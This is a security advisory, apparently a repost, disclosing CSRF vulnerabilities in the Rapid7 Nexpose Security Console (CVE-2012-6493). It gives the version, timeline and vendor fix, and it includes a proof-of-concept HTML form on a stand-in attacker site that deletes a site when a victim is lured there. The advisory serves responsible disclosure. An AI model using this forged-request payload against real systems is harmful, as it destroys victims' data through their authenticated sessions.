扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 |
Product: Nexpose Security Console Vendor: Rapid7 Version: < 5.5.3 Tested Version: 5.5.1 Vendor Notified Date: December 19, 2012 Release Date: January 2, 2013 Risk: High Authentication: None required Remote: Yes Description: Multiple Cross-Site Request Forgery (CSRF) vulnerabilities in Nexpose Security Console 5.5.3 and below allow remote attackers to submit actions on a legitimate user’s behalf. By not properly checking each URL, an attacker can execute requests on behalf of a legitimate user. If an authenticated user is tricked into visiting a specially crafted page, it may be possible to perform user-initiated actions on the web application using the victim’s established session. Successful exploitation of this vulnerability resulted in deleting scan data and sites during the proof-of-concept. Exploit steps for proof-of-concept: 1.Create an external site/page: http://attackersite.com/nexpose-csrf.htm that contains: [code] <html> <!-- Nexpose CSRF PoC --> <body> <form action="https://nexpose-security-console-site:3780/data/site/delete?siteid=1" method="POST"enctype="multipart/form-data"> <input type="submit" value="delete site" /> </form> <script> //document.forms[0].submit(); //uncomment to auto-submit </script> </body> </html> [/code] 2.Lure victim to http://attackersite.com/nexpose-csrf.htm. 3.Site with ID 1 is deleted when form is submitted. Vendor Notified: Yes Vendor Response: Quickly escalated and resolved. Vendor Update: Remediated in 5.5.4. Reference: CVE-2012-6493 https://community.rapid7.com/docs/DOC-2065#release5 https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF) Credit: Robert Gilbert HALOCK Security Labs |
体验盒子
